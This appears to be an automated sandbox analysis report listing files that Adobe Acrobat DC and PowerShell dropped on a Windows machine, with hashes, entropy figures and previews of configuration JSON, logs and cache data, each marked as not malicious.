Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2940199749832955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJf21rPeUkwRe9:YvXKXH4aWZc0vJm5G+16Ukee9
MD5:	9AC785D89C6A900D7980821309E645C5
SHA1:	0E3A32394CD085326CDA6CE3B76F17549324E392
SHA-256:	9E334613041982E1517C6C98FBAF195AE233426E45E4244F2A995C63466FE9AB
SHA-512:	164C346F277AFA3E9A1BE06014FE7FE8D3B6E8ECD8B0544F7F2BB661ECCFEFDBCA8617EB00A906D75D8729B2B279B4107FCACFD3EA5A39385F6C9A17AD62F672
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671722136852877
Encrypted:	false
SSDEEP:	24:Yv6XHkzvJmCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvishmcBgkDMUJUAh8cvMI
MD5:	49A66F3C0D8B54E102FE291A254EB4AA
SHA1:	AF0BD15113DD185273BB66CBB8556137580B7691
SHA-256:	D685C0AA925DFAEE6CDBE4F18F4678281ED03A27DFA278C8B37648C4E83875BA
SHA-512:	D74558323BDA62AD2A68F7F9A5C27DECAD307E2A347259A3F94024A24828974BFA10F665425EAC9B4ABA2E769A588AFCFC313A48FCEF1B574C339D62B470290A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271012868920151
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfshHHrPeUkwRe9:YvXKXH4aWZc0vJm5GUUUkee9
MD5:	DF953AFF4E11B867D86752789BA9E468
SHA1:	19712F4FA4084877A18380BBAD101934B201551A
SHA-256:	9BD4798CD5B00F1A0D329638646D0D5D5ACD07C5BE21068C75082F2A566BBCAA
SHA-512:	C138EDCA0A94AFE941F70269802839F306CF755A8AC4C42F660E60739261A0BCBEDE1CB3C5490A3678434552FFAFA186878E81638F7A9F6C909842F3AD540837
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.281615069901189
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJTqgFCrPeUkwRe9:YvXKXH4aWZc0vJm5GTq16Ukee9
MD5:	55AD373FE71069B3F74D9B07AEF1E356
SHA1:	F4E6F38B7422C4233D54F1DABF881478DEB8C9BD
SHA-256:	3FB8FF121EF7B8FE010820CE4A5BEF47F98160A653ECDC1A4CC738FDBA2D7238
SHA-512:	EE8DF3643C4348B5337BE217EF7A20FBB76300C193521C6F37B58BE1B3A94774873BACA14C10AAF6DBF99785196CA72C862C905A3363C8C247B918401F4EAF30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139568787691771
Encrypted:	false
SSDEEP:	24:YbPaYhaydbR64DrlrZ3CXeiiEupjp8j0Snya3L2yPhoBP2LS5Ciug+8EeItk5ASd:YRVlrNw3gpOzRcPXMg+8EeI6+0b9o0
MD5:	C0CCA4CCE3B86854D0E3E616CE8647F4
SHA1:	FD0EAFC46447D3FA228A83929768D92A96EAE481
SHA-256:	E06A511032F53B46D3D9F33B15E5BCB9BFF363F9465FD5858A79589861971EA3
SHA-512:	3C3F2644D908578E0CD166F4CE31F0B12EFC6B43636B6B017F7B0723FFBB49D19925AFEF8D635126BDB539740093F4BA49227CEBFDC7FFBEAAF5DBD7BD2C00C8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"38cc491b4a6bcf91f51285909cd50056","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736571154000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2b04b13326ea8b34e2cc361fe4827e9d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736571154000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"27bdeaed51018ccf986c25be7e7d6f9d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736571154000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"024b853bc0304297413643367acb07bb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736571154000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c55388caa2921c737568baa9e123999b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736571154000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ca86d6d12656dff3b891fbf0753f7fcc","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1882390559418647
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUTNSvR9H9vxFGiDIAEkGVvpf5:lNVmswUUUUUUUUB+FGSItl
MD5:	DD0F27AC0B89955AF566D8C2869AEEE3
SHA1:	04E2935C9F690C87BDFFE1D24B58DB8A23C7DFAC
SHA-256:	A297FF775113E7FF4785E912308A371B0E656175F6701C691CFD0F240D2299D3
SHA-512:	6214B675C457A1D663E49087E60A477E8ED63D2F0B960066B2372359581E9013917BC3201EC724064458EEB48D817326FED58A3AA7E57C4D5C49B2A50EE2BB53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6063227776717912
Encrypted:	false
SSDEEP:	48:7MPCKUUUUUUUUUUT1vR9H9vxFGiDIAEkGVv6qFl2GL7ms3:7ipUUUUUUUUUUtFGSItYKVms3
MD5:	A446200DA626E5EE6266C113946023E0
SHA1:	4245DE06122864A2D637D1138C0ACB38BC5CD1C6
SHA-256:	7139037F5483AAC36A14B091497AD68A18B3BADE69EA0C10C1A419121945CB4F
SHA-512:	78AAE6D95B0ED081486196B80248D635CFAF4B3087FDC580BADA6CC1483FD3B938F7BC65CAEA3A46BE9A8655E6CC8AF1783297448497C9813E34564904312C88
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTT62AZIKDIo0mSIseywEsaYL9XgRYyu:6a6TZ44ADEMIgIorpseywJL9qK
MD5:	ED410328711B8EA46B053DCD097C56ED
SHA1:	EC4ABF938CC49593A05CD1428425C752AA293BD5
SHA-256:	206BF6CA170D0B31662E44B60D32233497903982C596BFFAE2A1D5B27510E62B
SHA-512:	FAAA43270774D4942CCE76A058DDC971C629B1DF7452321C92069EEB77289B586F965A2E130ADA6CDD62DC56835FB919316C4B30B0EDB9C66E92C1F5DD97606D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIba1ee.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClgpwle:Qw946cPbiOxDlbYnuRK+brww
MD5:	B60071494A6FC97E0318104707019600
SHA1:	E9DBE723E129C8F09CEAF90834A886225F39316C
SHA-256:	DE1E11AA79C7AE05128AFABD11E29FB0C074E336B21140564EE131F783C38D66
SHA-512:	F17DC0A0E114D4FE5A62864145C3CDC1FC682E4003137BF9C82C0CF06A0DFB5383018C6230F5BC7EC65794474015F1642FB44BA1013B4E990573125F30AE3ED8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.5.2.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xeqc0yoq.tss.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2askkic.a4u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9hwublo_wsrwpx_5ys.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-52-30-591.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.330845803936958
Encrypted:	false
SSDEEP:	384:CBlEVlYY1PwIBP2WFWUbx/5cdSlwKHzX8vTP9ptEKMwdXiYRhSDCz4zu76AzevXt:v++
MD5:	A8C1BABB766D1D5DE1D0784DDAA4B539
SHA1:	82417C77BEA73D528ECA0E9EF0DD3B4D493C52C1
SHA-256:	6CD58045C2C227505EDF11705DBFF7ED8EEA7D1523D80305F91BCDCE36CBF877
SHA-512:	B3C3633F8BCFC6C28404BC8DA9B6951158B49CCB81ED04A62E634300770075206FC93D9F675D42239C2551744FE100784CF2C33B46DCABB0021B24ADC28E05D0
Malicious:	false
Preview:	SessionID=5ad239cb-ee77-48ad-afa0-56cbf20355d7.1736571150606 Timestamp=2025-01-10T23:52:30:606-0500 ThreadID=7028 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5ad239cb-ee77-48ad-afa0-56cbf20355d7.1736571150606 Timestamp=2025-01-10T23:52:30:607-0500 ThreadID=7028 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5ad239cb-ee77-48ad-afa0-56cbf20355d7.1736571150606 Timestamp=2025-01-10T23:52:30:607-0500 ThreadID=7028 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5ad239cb-ee77-48ad-afa0-56cbf20355d7.1736571150606 Timestamp=2025-01-10T23:52:30:607-0500 ThreadID=7028 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5ad239cb-ee77-48ad-afa0-56cbf20355d7.1736571150606 Timestamp=2025-01-10T23:52:30:607-0500 ThreadID=7028 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.383539316084928
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rO:T8X
MD5:	4D27F745DBD91CFC6FEDE66A9916B7F8
SHA1:	7DAB88BB13348221A840BB01D1726B8E896D5F09
SHA-256:	056D4D5B15C5A30DA7F69CA436904E6078868CD607F4FEF545A3E3AF0F64E783
SHA-512:	9EA0C4858D45C01A2DF5D3767B47D10347CA5D905DDB45CB24FE3A030A9EEE00FF8067063D841C13916C3C649194061A3E548996B615592EC0EC33F836F5AA5A
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\022f9899-cf17-4f0e-b40b-ea5e943b45fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\397eb664-9f06-4648-9d3a-fec2e0f0742f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
